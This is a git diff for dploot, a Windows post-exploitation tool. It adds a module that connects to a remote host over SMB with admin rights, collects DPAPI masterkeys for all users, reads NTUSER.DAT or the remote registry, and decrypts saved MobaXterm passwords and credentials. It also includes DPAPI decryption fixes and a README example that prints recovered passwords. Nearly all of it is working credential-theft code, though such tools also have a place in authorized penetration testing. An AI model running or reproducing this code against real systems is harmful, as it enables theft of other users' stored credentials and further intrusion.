diff --git a/README.md b/README.md index 3b571a6..820a17d 100755 --- a/README.md +++ b/README.md @@ -34,6 +34,7 @@ If you don't know what is DPAPI, [check out this post](https://posts.specterops. - [wifi](#wifi) - [sccm](#sccm) - [backupkey](#backupkey) + - [mobaxterm](#mobaxterm) - [Credits](#credits) - [TODO](#TODO) @@ -715,6 +716,33 @@ PRIVATEKEYBLOB:{1ef1b5b000000000010000000000000000000000940400000702000000a40000 [-] Exporting domain backupkey to file key.pvk ``` +### mobaxterm + +The **mobaxterm** command will extract MobaXterm secrets and masterpassword key from hive (HKU) and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, or with `-passwords FILE` combo of user:password, `-nthashes` combo of user:nthash or a `-pvk PVKFILE` to first decrypt masterkeys. If the user is not connected on the remote target, dploot will download and extract secrets from NTUSER.dat. + +With `pvk`: + +```text +dploot rdg -d waza.local -u jsmith -p 'Password#123' 192.168.56.14 -pvk key.pvk +[*] Connected to 192.168.56.14 as waza.local\jsmith (admin) + +[*] Triage ALL USERS masterkeys + +{6dedb662-3f3c-43a7-bfc4-e2990a48d4dd}:32c4eeeac475910a33f531b56cf9d73f35490d5e +{21f17bcd-eac1-4187-9538-a744f2c6e17b}:198eba83e088a59fd75e6435b38804d4973a2c1e + +[*] Triage MobaXterm Secrets + +[MOBAXTERM CREDENTIAL] +Name: TEST +Username: user +Password: waza1234 + +[MOBAXTERM PASSWORD] +Username: mobauser@mobaserver +Password: 309554moba231082pass322883 +``` + ## Credits Those projects helped a lot in writting this tool: diff --git a/dploot/action/mobaxterm.py b/dploot/action/mobaxterm.py new file mode 100644 index 0000000..1a25df5 --- /dev/null +++ b/dploot/action/mobaxterm.py @@ -0,0 +1,96 @@ +import argparse +import logging +import sys +from typing import Callable, Tuple + +from dploot.action.masterkeys import add_masterkeys_argument_group, parse_masterkeys_options +from dploot.lib.smb import DPLootSMBConnection +from dploot.lib.target import Target, add_target_argument_group +from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file +from dploot.triage.mobaxterm import MobaXtermTriage + +NAME = 'mobaxterm' + +class MobaXtermAction: + + def __init__(self, options: argparse.Namespace) -> None: + self.options = options + self.target = Target.from_options(options) + + self.conn = None + self._is_admin = None + self._users = None + self.outputdir = None + self.masterkeys = None + self.pvkbytes = None + + if self.options.mkfile is not None: + try: + self.masterkeys = parse_masterkey_file(self.options.mkfile) + except Exception as e: + logging.error(str(e)) + sys.exit(1) + + self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(self.options, self.target) + + def connect(self) -> None: + self.conn = DPLootSMBConnection(self.target) + if self.conn.connect() is None: + logging.error("Could not connect to %s" % self.target.address) + sys.exit(1) + + def run(self) -> None: + self.connect() + logging.info("Connected to %s as %s\\%s %s\n" % (self.target.address, self.target.domain, self.target.username, ( "(admin)"if self.is_admin else ""))) + if self.is_admin: + if self.masterkeys is None: + masterkeytriage = MasterkeysTriage(target=self.target, conn=self.conn, pvkbytes=self.pvkbytes, nthashes=self.nthashes, passwords=self.passwords) + logging.info("Triage ALL USERS masterkeys\n") + self.masterkeys = masterkeytriage.triage_masterkeys() + if not self.options.quiet: + for masterkey in self.masterkeys: + masterkey.dump() + print() + + triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys) + logging.info("Triage MobaXterm Secrets\n") + _, credentials = triage.triage_mobaxterm() + for credential in credentials: + if self.options.quiet: + credential.dump_quiet() + else: + credential.dump() + + else: + logging.info("Not an admin, exiting...") + + @property + def is_admin(self) -> bool: + if self._is_admin is not None: + return self._is_admin + + self._is_admin = self.conn.is_admin() + return self._is_admin + +def entry(options: argparse.Namespace) -> None: + a = MobaXtermAction(options) + a.run() + +def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: + + subparser = subparsers.add_parser(NAME, help="Dump Passwords and Credentials from MobaXterm") + + group = subparser.add_argument_group("mobaxterm options") + + group.add_argument( + "-mkfile", + action="store", + help=( + "File containing {GUID}:SHA1 masterkeys mappings" + ), + ) + + add_masterkeys_argument_group(group) + add_target_argument_group(subparser) + + return NAME, entry \ No newline at end of file diff --git a/dploot/entry.py b/dploot/entry.py index 129b9b0..a85ca0f 100755 --- a/dploot/entry.py +++ b/dploot/entry.py @@ -22,6 +22,7 @@ machinetriage, browser, wifi, + mobaxterm, ) @@ -41,6 +42,7 @@ machinetriage, browser, wifi, + mobaxterm, ] def main() -> None: diff --git a/dploot/lib/crypto.py b/dploot/lib/crypto.py index 00fa5c8..cc4f669 100755 --- a/dploot/lib/crypto.py +++ b/dploot/lib/crypto.py @@ -242,13 +242,13 @@ def decrypt_chrome_password(encrypted_password: str, aeskey: bytes): def deriveKeysFromUser(sid, password): password = password.encode('utf-16le') - sid = sid.encode('utf-16le') z_sid = (sid + '\0').encode('utf-16le') password_md4 = MD4.new(password).digest() # Will generate two keys, one with SHA1 and another with MD4 key1 = HMAC.new(SHA1.new(password).digest(), z_sid, SHA1).digest() key2 = HMAC.new(password_md4, z_sid, SHA1).digest() # For Protected users + sid = sid.encode('utf-16le') tmpKey = pbkdf2_hmac('sha256', password_md4, sid, 10000) tmpKey2 = pbkdf2_hmac('sha256', tmpKey, sid, 1)[:16] key3 = HMAC.new(tmpKey2, z_sid, SHA1).digest()[:20] diff --git a/dploot/lib/dpapi.py b/dploot/lib/dpapi.py index 9e4f266..982056e 100755 --- a/dploot/lib/dpapi.py +++ b/dploot/lib/dpapi.py @@ -198,56 +198,56 @@ def decrypt_blob(blob_bytes:bytes, masterkey:Any, entropy = None) -> Any: key = unhexlify(masterkey.sha1) decrypted = None if entropy is not None: - decrypted = blob.decrypt(blob, key, entropy=entropy) + decrypted = decrypt(blob, key, entropy=entropy) else: decrypted = decrypt(blob, key) return decrypted def decrypt(blob, keyHash, entropy = None) -> "bytes | None": hash_algo = ALGORITHMS_DATA[blob['HashAlgo']][1] - sessionKey = HMAC.new(keyHash, blob['Salt'], hash_algo) - if entropy is not None: - sessionKey.update(entropy) - - sessionKey = sessionKey.digest() - - # Derive the key - derivedKey = blob.deriveKey(sessionKey) - - crypto = ALGORITHMS_DATA[blob['CryptAlgo']] - cipher = crypto[1].new(derivedKey[:crypto[0]], mode=crypto[2], iv=b'\x00'*crypto[3]) - cleartext = unpad(cipher.decrypt(blob['Data']), crypto[1].block_size) - - # Now check the signature - - # ToDo Fix this, it's just ugly, more testing so we can remove one - toSign = (blob.rawData[20:][:len(blob.rawData)-20-len(blob['Sign'])-4]) - - # Calculate the different HMACKeys block_size = hash_algo.block_size - pad_block = keyHash.ljust(block_size, b'\x00') + for algo in [compute_sessionKey_1, compute_sessionKey_2]: + sessionKey = algo(keyHash, blob['Salt'], hash_algo, block_size, entropy) + sessionKey = sessionKey.digest() + derivedKey = blob.deriveKey(sessionKey) + crypto = ALGORITHMS_DATA[blob['CryptAlgo']] + cipher = crypto[1].new(derivedKey[:crypto[0]], mode=crypto[2], iv=b'\x00'*crypto[3]) + cleartext = cipher.decrypt(blob['Data']) + try: + cleartext = unpad(cleartext, crypto[1].block_size) + except ValueError as e: + if "Padding is incorrect" in str(e): + pass + # Now check the signature + # ToDo Fix this, it's just ugly, more testing so we can remove one + toSign = (blob.rawData[20:][:len(blob.rawData)-20-len(blob['Sign'])-4]) + hmac_calculated = algo(keyHash, blob['HMac'], hash_algo, block_size, entropy) + hmac_calculated.update(toSign) + if blob['Sign'] == hmac_calculated.digest(): + return cleartext + return None + +def compute_sessionKey_1(key_hash: bytes, salt: bytes, hash_algo: object, block_size: int, entropy: bytes): + pad_block = key_hash.ljust(block_size, b'\x00') ipad = bytearray(i ^ 0x36 for i in pad_block) opad = bytearray(i ^ 0x5c for i in pad_block) + a = hash_algo.new(ipad) - a.update(blob['HMac']) + a.update(salt) - hmacCalculated1 = hash_algo.new(opad) - hmacCalculated1.update(a.digest()) + computed_key = hash_algo.new(opad) + computed_key.update(a.digest()) if entropy is not None: - hmacCalculated1.update(entropy) - - hmacCalculated1.update(toSign) + computed_key.update(entropy) + return computed_key - hmacCalculated3 = HMAC.new(keyHash, blob['HMac'], hash_algo) +def compute_sessionKey_2(key_hash: bytes, salt: bytes, hash_algo: object, block_size: int, entropy: bytes): + computed_key = HMAC.new(key_hash, salt, hash_algo) if entropy is not None: - hmacCalculated3.update(entropy) - - hmacCalculated3.update(toSign) - - if blob['Sign'] in (hmacCalculated1.digest(), hmacCalculated3.digest()): - return cleartext - return None + computed_key.update(entropy) + + return computed_key def find_masterkey_for_blob(blob_bytes:bytes, masterkeys: Any) -> "Any | None": blob = DPAPI_BLOB(blob_bytes) diff --git a/dploot/triage/certificates.py b/dploot/triage/certificates.py index 5e7cfc4..59904fa 100755 --- a/dploot/triage/certificates.py +++ b/dploot/triage/certificates.py @@ -5,6 +5,7 @@ from dataclasses import dataclass from impacket.dcerpc.v5 import rrp +from impacket.system_errors import ERROR_NO_MORE_ITEMS from Cryptodome.PublicKey import RSA from cryptography import x509 @@ -99,18 +100,21 @@ def loot_system_certificates(self) -> Dict[str,x509.Certificate]: certificates = {} ans = rrp.hBaseRegOpenKey(self.conn.remote_ops._RemoteOperations__rrp, regHandle, my_certificates_key, samDesired=rrp.KEY_ENUMERATE_SUB_KEYS) keyHandle = ans['phkResult'] - try: - for index in range(100): - enum_ans = rrp.hBaseRegEnumKey(self.conn.remote_ops._RemoteOperations__rrp, keyHandle, index) + i = 0 + while True: + try: + enum_ans = rrp.hBaseRegEnumKey(self.conn.remote_ops._RemoteOperations__rrp, keyHandle, i) certificate_keys.append(enum_ans['lpNameOut'][:-1]) - rrp.hBaseRegCloseKey(self.conn.remote_ops._RemoteOperations__rrp, keyHandle) - except rrp.DCERPCSessionError as e: - if e.error_code == 0x00000103: - pass - elif logging.getLogger().level == logging.DEBUG: - import traceback - traceback.print_exc() - logging.debug(str(e)) + i += 1 + except rrp.DCERPCSessionError as e: + if e.get_error_code() == ERROR_NO_MORE_ITEMS: + break + except Exception as e: + import traceback + traceback.print_exc() + logging.error(str(e)) + rrp.hBaseRegCloseKey(self.conn.remote_ops._RemoteOperations__rrp, keyHandle) + for certificate_key in certificate_keys: try: regKey = my_certificates_key + '\\' + certificate_key diff --git a/dploot/triage/masterkeys.py b/dploot/triage/masterkeys.py index 34ec258..b1db132 100755 --- a/dploot/triage/masterkeys.py +++ b/dploot/triage/masterkeys.py @@ -106,8 +106,10 @@ def triage_masterkeys(self) -> List[Masterkey]: try: masterkeys += self.triage_masterkeys_for_user(user) except Exception as e: - logging.debug(str(e)) - pass + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.debug(str(e)) return masterkeys def triage_masterkeys_for_user(self, user:str) -> List[Masterkey]: diff --git a/dploot/triage/mobaxterm.py b/dploot/triage/mobaxterm.py new file mode 100644 index 0000000..0f64625 --- /dev/null +++ b/dploot/triage/mobaxterm.py @@ -0,0 +1,365 @@ +from base64 import b64decode +import logging +import ntpath +import tempfile +from typing import List, Tuple +from Cryptodome.Cipher import AES + +from impacket import winregistry +from impacket.dcerpc.v5 import rrp +from impacket.system_errors import ERROR_NO_MORE_ITEMS, ERROR_FILE_NOT_FOUND + +from dploot.lib.dpapi import decrypt_blob, find_masterkey_for_blob +from dploot.lib.smb import DPLootSMBConnection +from dploot.lib.target import Target +from dploot.triage.masterkeys import Masterkey +from dataclasses import dataclass + +@dataclass +class MobaXtermPassword: + winuser: str + username: str + password_encrypted: bytes + password: bytes = None + + def decrypt(self, masterpassword_key): + iv = AES.new(key=masterpassword_key, mode=AES.MODE_ECB).encrypt(b'\x00' * AES.block_size) + cipher = AES.new(key=masterpassword_key, iv=iv, mode=AES.MODE_CFB, segment_size=8) + self.password = cipher.decrypt(b64decode(self.password_encrypted)) + + def dump(self) -> None: + print("[MOBAXTERM PASSWORD]") + print("Username:\t%s" % self.username) + if self.password is not None: + print("Password:\t%s" % self.password.decode('latin-1')) + print() + + def dump_quiet(self) -> None: + print("[MOBAXTERM PASSWORD] %s:%s" % (self.username, self.password)) + +@dataclass +class MobaXtermCredential: + winuser: str + name: str + username: str + password_encrypted: bytes + password: bytes = None + + def decrypt(self, masterpassword_key): + iv = AES.new(key=masterpassword_key, mode=AES.MODE_ECB).encrypt(b'\x00' * AES.block_size) + cipher = AES.new(key=masterpassword_key, iv=iv, mode=AES.MODE_CFB, segment_size=8) + self.password = cipher.decrypt(b64decode(self.password_encrypted)) + + def dump(self) -> None: + print("[MOBAXTERM CREDENTIAL]") + print("Name:\t\t%s" % self.name) + print("Username:\t%s" % self.username) + if self.password is not None: + print("Password:\t%s" % self.password.decode('latin-1')) + print() + + def dump_quiet(self) -> None: + print("[MOBAXTERM CREDENTIAL] %s - %s:%s" % (self.name, self.username, self.password)) + +@dataclass +class MobaXtermMasterPassword: + winuser: str + username: str + host: str + entropy: bytes + masterpassword_raw_value: bytes + masterpassword_decrypted: bytes = None + + def decrypt_masterpassword_raw_value(self, masterkeys): + dpapi_blob = bytes.fromhex("01000000d08c9ddf0115d1118c7a00c04fc297eb") + b64decode(self.masterpassword_raw_value) + masterkey = find_masterkey_for_blob(dpapi_blob, masterkeys) + if masterkey is not None: + self.masterpassword_decrypted = decrypt_blob(blob_bytes=dpapi_blob, masterkey=masterkey, entropy=self.entropy) + + def dump(self) -> None: + print("[MOBAXTERM MASTERPASSWORD KEY]") + print("Host:\t\t\t%s" % self.host) + print("Username:\t\t%s" % self.username) + if self.masterpassword_decrypted is not None: + print("MasterPassword Key:\t%s" % b64decode(self.masterpassword_decrypted).hex()) + print() + + def dump_quiet(self) -> None: + print("[MOBAXTERM MASTERPASSWORD KEY] %s - %s - %s" % (self.host, self.username, b64decode(self.masterpassword_decrypted).hex())) + +class MobaXtermTriage: + false_positive = [".","..", "desktop.ini","Public","Default","Default User","All Users"] + mobaxterm_registry_key_path = "Software\\Mobatek\\MobaXterm" + mobaxterm_sessionp_key_path = ntpath.join(mobaxterm_registry_key_path,"SessionP") + mobaxterm_masterpassword_registry_key = "M" + mobaxterm_passwords_registry_key = "P" + mobaxterm_credentials_registry_key = "C" + + ntuser_dat_path = "Users\\{username}\\NTUSER.DAT" + share = "C$" + + def __init__(self, target: Target, conn: DPLootSMBConnection, masterkeys: List[Masterkey]) -> None: + self.target = target + self.conn = conn + + self._users = None + self.masterkeys = masterkeys + + def triage_mobaxterm(self) -> Tuple[List[MobaXtermMasterPassword], List[MobaXtermCredential | MobaXtermPassword]]: + logging.getLogger("impacket").disabled = True + mobaxterm_credentials = [] + mobaxterm_masterpassword_key = [] + for user,sid in self.users.items(): + try: + masterpassword_key, credentials = self.triage_mobaxterm_for_user(user,sid) + if masterpassword_key is not None: + mobaxterm_credentials += credentials + mobaxterm_masterpassword_key.append(masterpassword_key) + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.debug(str(e)) + return mobaxterm_masterpassword_key, mobaxterm_credentials + + def triage_mobaxterm_for_user(self, user: str, sid: str = None) -> Tuple[MobaXtermMasterPassword, List[MobaXtermCredential | MobaXtermPassword]]: + mobaxterm_masterpassword = None + mobaxterm_credentials = [] + try: + ntuser_dat_bytes = self.conn.readFile(self.share,self.ntuser_dat_path.format(username=user)) + except Exception as e: + import traceback + traceback.print_exc() + logging.error(e) + if ntuser_dat_bytes is None: + mobaxterm_masterpassword, mobaxterm_credentials = self.extract_mobaxtermkeys_for_user_from_remote_registry(user,sid) + else: + # Preparing NTUSER.DAT file + fh = tempfile.NamedTemporaryFile() + fh.write(ntuser_dat_bytes) + fh.seek(0) + + # Extracting everything + mobaxterm_masterpassword, mobaxterm_credentials = self.extract_mobaxtermkeys_for_user_from_ntuser_dat(fh.name, user) + + + if mobaxterm_masterpassword is None: + return None, [] + self.decrypt_mobaxterm_masterpassword(mobaxterm_masterpassword) + logging.debug(f"Found Mobaxterm MasterPassword for user {user}") + mobaxterm_key = b64decode(mobaxterm_masterpassword.masterpassword_decrypted)[0:32] + for credential in mobaxterm_credentials: + credential.decrypt(mobaxterm_key) + + return mobaxterm_masterpassword, mobaxterm_credentials + + def extract_mobaxtermkeys_for_user_from_ntuser_dat(self, ntuser_dat_filename: str, user: str) -> Tuple[MobaXtermMasterPassword, List[MobaXtermCredential | MobaXtermPassword]]: + reg = winregistry.Registry(ntuser_dat_filename, isRemote=False) + parent_key = reg.findKey(self.mobaxterm_registry_key_path) + if parent_key is None: + # MobaXterm is not installed for this user + return None, [] + logging.debug(f"Found MobaXterm registry keys for user {user}") + + mobaxterm_masterpassword_key = None + mobaxterm_credentials = [] + + try: + entropy = reg.getValue(self.mobaxterm_sessionp_key_path)[1] + entropy = entropy.decode('utf-16le').rstrip('\0').encode() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.debug(str(e)) + + + try: + key_path = ntpath.join(self.mobaxterm_registry_key_path,self.mobaxterm_masterpassword_registry_key) + new_key = reg.findKey(key_path) + values = reg.enumValues(new_key) + data = reg.getValue(ntpath.join(key_path,values[-1].decode("utf-8"))) + username, host = values[-1].decode("utf-8").split("@") + mobaxterm_masterpassword_key = MobaXtermMasterPassword( + winuser=user, + username=username, + host=host, + entropy=entropy, + masterpassword_raw_value=data[1], + ) + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.debug(str(e)) + + try: + key_path = ntpath.join(self.mobaxterm_registry_key_path,self.mobaxterm_credentials_registry_key) + key = reg.findKey(key_path) + values = reg.enumValues(key) + logging.debug(f"Found {len(values)} Mobaxterm Credentials for user {user}") + for value in values: + data = reg.getValue(ntpath.join(key_path, value.decode('latin-1'))) + username, password_encrypted = data[1].decode('latin-1').split(':') + mobaxterm_credential = MobaXtermCredential( + winuser=user, + name=value.decode('latin-1'), + username=username, + password_encrypted=password_encrypted, + ) + mobaxterm_credentials.append(mobaxterm_credential) + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.debug(str(e)) + + try: + key_path = ntpath.join(self.mobaxterm_registry_key_path,self.mobaxterm_passwords_registry_key) + key = reg.findKey(key_path) + values = reg.enumValues(key) + logging.debug(f"Found {len(values)} Mobaxterm Passwords for user {user}") + for value in values: + data = reg.getValue(ntpath.join(key_path, value.decode('utf-8'))) + mobaxterm_credential = MobaXtermPassword( + winuser=user, + username=value.decode('latin-1'), + password_encrypted=data[-1].decode('latin-1') + ) + mobaxterm_credentials.append(mobaxterm_credential) + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.debug(str(e)) + return mobaxterm_masterpassword_key, mobaxterm_credentials + + def decrypt_mobaxterm_masterpassword(self, mobaxterm_masterpassword: MobaXtermMasterPassword, entropy: bytes = None) -> None: + if entropy is not None: + mobaxterm_masterpassword.entropy = entropy + mobaxterm_masterpassword.decrypt_masterpassword_raw_value(masterkeys=self.masterkeys) + + def decrypt_mobaxterm_password(self, mobaxterm_password: MobaXtermCredential|MobaXtermPassword, mobaxterm_masterpassword: MobaXtermMasterPassword) -> None: + mobaxterm_password.decrypt(masterpassword_key=mobaxterm_masterpassword.masterpassword_decrypted) + + def extract_mobaxtermkeys_for_user_from_remote_registry(self, user: str, sid: str) -> Tuple[MobaXtermMasterPassword, List[MobaXtermCredential | MobaXtermPassword]]: + self.conn.enable_remoteops() + + entropy = None + mobaxterm_masterpassword_key = None + mobaxterm_credentials = [] + + # Extract entropy + ans = rrp.hOpenUsers(self.conn.remote_ops._RemoteOperations__rrp) + regHandle = ans["phKey"] + regKey = ntpath.join(sid,self.mobaxterm_registry_key_path) + keyHandle = None + try: + ans2 = rrp.hBaseRegOpenKey(self.conn.remote_ops._RemoteOperations__rrp, regHandle, regKey, samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE) + keyHandle = ans2["phkResult"] + _, entropy = rrp.hBaseRegQueryValue(self.conn.remote_ops._RemoteOperations__rrp, keyHandle, 'SessionP') + entropy = entropy.rstrip("\00").encode('utf-8') + rrp.hBaseRegCloseKey(self.conn.remote_ops._RemoteOperations__rrp, keyHandle) + except rrp.DCERPCSessionError as e: + if e.get_error_code() != ERROR_FILE_NOT_FOUND: + import traceback + traceback.print_exc() + logging.error(f"Error while hBaseRegOpenKey HKU\\{regKey}: {e}") + return None, [] + + # Extract M + try: + ans2 = rrp.hBaseRegOpenKey(self.conn.remote_ops._RemoteOperations__rrp, regHandle, ntpath.join(regKey,self.mobaxterm_masterpassword_registry_key), samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE) + keyHandle = ans2["phkResult"] + value = rrp.hBaseRegEnumValue(self.conn.remote_ops._RemoteOperations__rrp, keyHandle,0) + name, host = value["lpValueNameOut"].split("@") + mobaxterm_masterpassword_key = MobaXtermMasterPassword( + winuser=user, + entropy=entropy, + host=host, + username=name, + masterpassword_raw_value=b"".join(value["lpData"]) + ) + rrp.hBaseRegCloseKey(self.conn.remote_ops._RemoteOperations__rrp, keyHandle) + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.debug(str(e)) + + # Extract C and P + for key in [self.mobaxterm_credentials_registry_key, self.mobaxterm_passwords_registry_key]: + ans2 = rrp.hBaseRegOpenKey(self.conn.remote_ops._RemoteOperations__rrp, regHandle, ntpath.join(regKey,key), samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE) + keyHandle = ans2["phkResult"] + i = 0 + while True: + try: + value = rrp.hBaseRegEnumValue(self.conn.remote_ops._RemoteOperations__rrp, keyHandle, i) + data = b''.join(value["lpData"]).decode('latin-1') + name = value["lpValueNameOut"].rstrip("\00") + if ":" in data: + username, password_encrypted = data.split(":") + mobaxterm_credential = MobaXtermCredential( + winuser=user, + name=name, + username=username, + password_encrypted=password_encrypted, + ) + else: + mobaxterm_credential = MobaXtermPassword( + winuser=user, + username=name, + password_encrypted=data + ) + mobaxterm_credentials.append(mobaxterm_credential) + i += 1 + except rrp.DCERPCSessionError as e: + if e.get_error_code() == ERROR_NO_MORE_ITEMS: + break + + return mobaxterm_masterpassword_key, mobaxterm_credentials + + @property + def users(self) -> List[str]: + if self._users is not None: + return self._users + + users = dict() + userlist_key = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList" + + self.conn.enable_remoteops() + ans = rrp.hOpenLocalMachine(self.conn.remote_ops._RemoteOperations__rrp) + regHandle = ans['phKey'] + + ans = rrp.hBaseRegOpenKey(self.conn.remote_ops._RemoteOperations__rrp, regHandle, userlist_key, samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE) + keyHandle = ans['phkResult'] + + sids = [] + + i = 0 + while True: + try: + ans2 = rrp.hBaseRegEnumKey(self.conn.remote_ops._RemoteOperations__rrp, keyHandle, i) + sids.append(ans2["lpNameOut"]) + except rrp.DCERPCSessionError as e: + if e.get_error_code() == ERROR_NO_MORE_ITEMS: + break + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.error(e) + i +=1 + rrp.hBaseRegCloseKey(self.conn.remote_ops._RemoteOperations__rrp, keyHandle) + for sid in sids: + ans = rrp.hBaseRegOpenKey(self.conn.remote_ops._RemoteOperations__rrp, regHandle, ntpath.join(userlist_key,sid), samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE) + keyHandle = ans['phkResult'] + _, profile_path = rrp.hBaseRegQueryValue(self.conn.remote_ops._RemoteOperations__rrp, keyHandle, 'ProfileImagePath') + if r"%systemroot%" in profile_path: + continue + users[ntpath.basename(profile_path.rstrip("\0"))] = sid.rstrip("\0") + rrp.hBaseRegCloseKey(self.conn.remote_ops._RemoteOperations__rrp, keyHandle) + + self._users = users + + return self._users \ No newline at end of file